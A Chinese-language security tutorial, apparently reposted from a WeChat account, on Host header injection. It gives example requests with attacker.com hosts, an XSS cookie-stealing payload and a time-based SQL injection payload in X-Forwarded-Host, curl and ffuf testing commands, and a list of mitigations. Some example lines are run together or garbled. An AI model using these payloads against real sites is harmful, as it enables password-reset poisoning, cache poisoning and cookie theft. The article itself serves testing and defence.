掌握主机头注入:技术、有效载荷和实际场景

admin 2025年5月12日00:33:16评论4 views字数 3385阅读11分17秒阅读模式
掌握主机头注入:技术、有效载荷和实际场景
掌握主机头注入:技术、有效载荷和实际场景

主机头注入是一种 Web 漏洞,当 Web 应用程序在未进行适当验证的情况下信任 HTTP 请求中的 Host 头值时,就会出现这种漏洞。攻击者可以操纵此头来影响服务器处理请求的方式,从而可能导致缓存中毒、密码重置中毒、Web 缓存欺骗,甚至在某些情况下导致完全帐户接管。

了解操纵主机头的各种方法对于攻击者和防御者都至关重要。下面我们将通过实际示例和说明,探讨最常见和最先进的主机头操纵技术。

常见的主机头注入技术

利用恶意域名进行欺骗

在 Host 标头中提供一个恶意域,以诱骗应用程序生成指向攻击者服务器的链接或重定向。

例子:

GET /reset-passwordHTTP/1.1Host: attacker.com

添加前缀

通过在主机头中提供不同的域,攻击者可以诱骗应用程序生成指向恶意网站的链接、重定向或密码重置电子邮件。
例子:

GET/admin.php HTTP/1.1Host: attackertarget.com

绝对 URL 路径

一些应用程序将 Host 标头解析为完整 URL 的一部分,这可能会被滥用来绕过过滤器或混淆后端逻辑。

例子:

GET/admin.php HTTP/1.1Host: https://target.com/admin.php

子域名绕过

使用子域名有时可以绕过仅查找主域名是否存在的简单主机验证检查。

例子:

GET/admin.php HTTP/1.1Host: subdomain.target.com

前导空格或制表符注入

某些服务器或代理可能会忽略或错误处理包含前导空格或制表符的标头,这可能会导致解析不一致和意外行为

例子:

GET/admin.php HTTP/1.1Host: target.com

指定不同的端口

在主机头中指定端口有时可以绕过基于主机的访问控制或混淆后端逻辑。

例子:

GET/admin.php HTTP/1.1Host: target.com:8080

使用 X-Forwarded-Host 标头

许多应用程序和代理使用 X-Forwarded-Host 标头来确定客户端请求的原始主机,使其成为注入的主要目标。

例子:

GET/admin.php HTTP/1.1X-Forwarded-Host: attacker.com

使用服务器的IP地址

提供服务器的 IP 地址而不是域名有时可以绕过虚拟主机路由或访问控制。

例子:

GET/admin.php HTTP/1.1Host: <target IP>

空白主机头

Host当标头为空时,某些服务器会出现异常行为或默认为第一个虚拟主机。

例子:

GET/admin.php HTTP/1.1Host:

多个主机头

发送多个主机头可以利用不同服务器组件(例如前端和后端解析)之间的不一致性。

例子

GET/admin.php HTTP/1.1Host: target.comHost: attacker.com

同一 IP 上的另一个网站

如果同一台服务器上托管多个域,则指定不同的有效域有时可能会泄露敏感信息或访问非预期资源。

例子:

GET/admin.php HTTP/1.1Host: target2.com

高级且不太常见的技术

SSRF(服务器端请求伪造)中的主机头注入
当内部 SSRF 过滤器依赖 Host 标头进行验证时,攻击者可以伪造内部请求或绕过 SSRF 保护。

例子:

Host: internal-service.local

用例:绕过 SSRF 保护以访问内部 API 或元数据服务。

通过主机头注入进行 DNS 重新绑定

当与 DNS 重新绑定结合时,攻击者可能会使用恶意主机诱骗应用程序信任重新绑定域。

例子:

Host: rebinding.attacker.com

内部 Web 应用程序可能会处理该请求,从而允许攻击者绕过同源策略或内部网络保护

rbndr.us DNS 重绑定服务--本页面将帮助您生成用于测试软件中 DNS 重绑定漏洞的主机名。https://lock.cmpxchg8b.com/rebinder.html

带有特殊字符的主机头

注入特殊字符(例如空字节、CRLF 或 Unicode)有时可以绕过过滤器或导致解析错误。

例子:

GET/admin.php HTTP/1.1Host: target.com%00.attacker.com

带有路径遍历的主机头

一些配置错误的应用程序可能会将主机解析为路径的一部分,从而导致意外行为。

例子:

GET/admin.php HTTP/1.1Host: ../../attacker.com

带有编码值的主机头

URL 编码或双重编码主机值有时可以绕过验证。

例子:

GET /admin.php HTTP/1.1Host%74%61%72%67%65%74.com

链接 X-Forwarded 标头以进行 SQLi 和 XSS 注入

滥用 HTTP 标头进行 XSS 和 SQLi:使用 X-Forwarded-Host 和 X-Forwarded-For 的技巧:

X-Forwarded-Host: evil.com"><img src/onerror=prompt(document.cookie)>X-Forwarded-Host:0'XOR(if(now()=sysdate(),sleep(10),0))XOR'Z

查找标头注入错误的工具

cURL

一款用于手动测试标头注入漏洞的多功能工具。

快速发送带有自定义标头的精心设计的请求,以识别错误配置或潜在漏洞。

例子:

curl -I -H "Host: attacker.com" https://target.comcurl -I -H "X-Forwarded-Host: attacker.com" https://target.com

Burp 插件

前往“Repeater”选项卡,选择“Host Header Injection”选项,然后选择所需的配置。该工具将开始逐个扫描主机头注入漏洞。您可以在“Flow”选项卡中监控进度。扫描完成后,您可以查看 Burp 仪表板,查看是否检测到任何主机头注入漏洞。

掌握主机头注入:技术、有效载荷和实际场景
Nuclei
一款快速灵活的漏洞扫描器,专为自动化安全测试而设计。只需使用此 Nuclei 模板即可测试标头注入漏洞:

例子:

nuclei -u https://target.com -t x-forwarded.yaml

https://github.com/coffinxp/nuclei-templates/blob/main/x-forwarded.yamlFfuf

一种快速灵活的工具,用于模糊测试自定义标头并查找漏洞。这允许您有效地模糊测试 HTTP 标头,使其成为测试标头注入漏洞(如 Host 或 X-Forwarded-Host 等)的理想选择。

例子:

ffuf -u https://target.com -H "Host: FUZZ" -w hosts.txt

Gau / Waybackurls  Gau/Waybackurls

将 Gau 或 Waybackurls 等 URL 收集器与自定义脚本相结合,可以有效地测试主机是否存在标头注入漏洞。例子:

cat domains.txt | whileread url; do curl -H "Host: attacker.com""$url"done

自动化工具https://github.com/devanshbatham/headerpwn

https://github.com/roottusk/xforwardy
https://github.com/pikpikcu/hostinject

现实世界的影响

主机头注入可能导致多种攻击,包括:

  • Web 缓存中毒:使用恶意内容毒害共享缓存。

  • 密码重置中毒:导致密码重置电子邮件包含攻击者控制的链接。

  • 开放重定向:将用户重定向到恶意网站。

  • 绕过访问控制:获得对内部资源的未经授权的访问。

缓解策略

严格主机验证:仅允许预定义的受信任主机列表。

使用主机白名单:使用前根据已知安全列表验证主机名。

避免使用主机头:不要依赖主机头来构建关键链接或逻辑。

禁用不必要的标题:除非绝对必要,否则避免使用 X-Forwarded-Host、X-Host 等。

结论

主机头注入仍然是现代 Web 应用程序中的一个关键漏洞,尤其是在依赖虚拟主机或反向代理的应用程序中。通过了解和测试各种操纵技术,安全专业人员可以在攻击者利用这些问题之前更好地识别并修复这些问题。

原文始发于微信公众号(Ots安全):掌握主机头注入:技术、有效载荷和实际场景

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年5月12日00:33:16
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   掌握主机头注入:技术、有效载荷和实际场景https://cn-sec.com/archives/4050621.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息